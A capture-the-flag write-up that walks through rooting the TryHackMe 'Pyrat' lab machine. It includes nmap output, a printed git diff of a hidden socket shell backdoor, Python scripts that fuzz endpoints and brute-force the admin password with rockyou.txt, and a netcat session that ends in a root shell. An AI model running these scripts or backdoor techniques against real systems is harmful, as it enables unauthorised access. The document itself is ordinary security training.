THM Pyrat
Pyrat
Summary
- As decription of room. That is step by step to do this.
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
| 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
8000/tcp open http-alt syn-ack SimpleHTTP/0.6 Python/3.11.2
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
Enumeration
Two open port are 22 and 8000.
When access port 8000, we see.
Let’s think about connection. We can not get any infomation via browser. Change to termial and netcat.
This is python shell so we can find a payload to bypass it.
We can find the payload in https://www.revshells.com/.
well-know folder is ???
Upload linpeas.sh to /tmp and run it.
We found .git folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@Pyrat:/opt/dev$ cd .git
cd .git
www-data@Pyrat:/opt/dev/.git$ ls -la
ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
www-data@Pyrat:/opt/dev/.git$ cat config
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = <REDACTED>
www-data@Pyrat:/opt/dev/.git$
We got credential access ssh.
GOT USER FLAG
SSH to the target and analyze .git folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
git log -p -2
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+ if data == 'some_endpoint':
+ get_this_enpoint(client_socket)
+ else:
+ # Check socket is admin and downgrade if is not aprooved
+ uid = os.getuid()
+ if (uid == 0):
+ change_uid()
+
+ if data == 'shell':
+ shell(client_socket)
+ else:
+ exec_python(client_socket, data)
+
+def shell(client_socket):
+ try:
+ import pty
+ os.dup2(client_socket.fileno(), 0)
+ os.dup2(client_socket.fileno(), 1)
+ os.dup2(client_socket.fileno(), 2)
+ pty.spawn("/bin/sh")
+ except Exception as e:
+ send_data(client_socket, e
+
+...............................................
(END)
- Functionality: The code implements a basic command handler for a socket connection, capable of handling specific commands like ‘some_endpoint’ and ‘shell’, while also allowing the execution of arbitrary Python code.
- Security Risks: The ability to spawn a shell and execute arbitrary code poses significant security risks. This type of functionality could easily be exploited if proper authentication and validation are not implemented.
- Privilege Management: The code also contains a mechanism to potentially downgrade permissions from root to a less privileged user, enhancing security by not running processes with excessive privileges unnecessarily.
Let fuzzing the some_endpoint.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import sys
import socket
# Check if the number of arguments is exactly 1 (excluding the script name)
if len(sys.argv) != 4: # len(sys.argv) includes the script name
print("Error: Script requires exactly IP of target and list endpoint.")
print(f"Usage: {sys.argv[0]} <IP> <list_endpoint> <endpoint>")
sys.exit(1) # Exit with an error code
# Define the target IP
target_ip = sys.argv[1]
target_port = 8000
file_path1 = sys.argv[2] # Path to your file containing fuzz strings
file_path2 = sys.argv[3] # Path to fuzzed endpoint.
def fuzz_with_file_strings(file_path):
try:
# Read fuzz strings from the file
with open(file_path1, 'r') as file:
fuzz_strings = [line.strip() for line in file.readlines()]
# Create a socket connection to the server
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_ip, target_port))
# Send each fuzz string to the server
for fuzz_string in fuzz_strings:
#print(f"Fuzzing with payload: {fuzz_string}")
client_socket.sendall(fuzz_string.encode()) # Send fuzz payload
response = client_socket.recv(4096).decode() # Receive server response
#print(response)
if not response or "invalid syntax" in response or "is not defined" in response or "leading zeros" in response:
#print("Skipped empty response or response containing 'a' or 'b'.")
continue # Skip this iteration and continue with the next fuzz string
print(f"Fuzzing with payload: {fuzz_string}")
print(response)
with open(file_path2, 'a') as endpoint:
endpoint.write(f"Response to payload '{fuzz_string}': {response}\n\n")
except FileNotFoundError:
print(f"File '{file_path1}' or '{file_path2}' not found.")
except Exception as e:
print(f"Error occurred: {e}")
finally:
client_socket.close()
# Example usage
fuzz_with_file_strings(file_path1)
Prepare list_endpoint.txt with common endpoint to check.
Prepare blank endpoint.txt to write result fuzzing.
Found admin is special endpoint. It need a password to continous. Continous fuzzing password for admin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import sys
import socket
# Check if the number of arguments is exactly 2 (excluding the script name)
if len(sys.argv) != 3: # len(sys.argv) includes the script name
print("Error: Script requires exactly IP of target and list password.")
print(f"Usage: {sys.argv[0]} <IP> <list password>")
sys.exit(1) # Exit with an error code
# Define the target IP
target_ip = sys.argv[1]
target_port = 8000
file_path = sys.argv[2] # Path to your file containing fuzz strings
def fuzz_with_file_strings(file_path):
try:
# Read fuzz strings from the file
with open(file_path, 'r') as file:
fuzz_strings = [line.strip() for line in file.readlines()]
for fuzz_string in fuzz_strings:
# Create a socket connection to the server
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_ip, target_port))
client_socket.sendall('admin'.encode())
response = client_socket.recv(4096).decode()
# print(response)
client_socket.sendall(fuzz_string.encode()) # Send each fuzz string to the server
response = client_socket.recv(4096).decode()
if "Password" in response:
continue # Skip this iteration and continue with the next fuzz string
print(f"Password for admin: {fuzz_string}")
except FileNotFoundError:
print(f"File '{file_path}' not found.")
except Exception as e:
print(f"Error occurred: {e}")
finally:
client_socket.close()
# Example usage
fuzz_with_file_strings(file_path)
With rockyou.txt, we found password.
1
2
3
┌──(kali㉿kali)-[~/thm/Pyrat]
└─$ python3 finding_password.py 10.10.193.111 ./rockyou.txt
Password for admin: <REDACTED>
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/thm/Pyrat/.git]
└─$ nc 10.10.193.111 8000
admin
Password:
<REDACTED>
Welcome Admin!!! Type "shell" to begin
shell
# id
uid=0(root) gid=0(root) groups=0(root)
#
GOT ROOT FLAG
My python is not good. I have spent some time to optimize my python code to avoid noise but it takes up a lot of my time and in this case it is not necessary and I will go back to optimize the code when I have time.




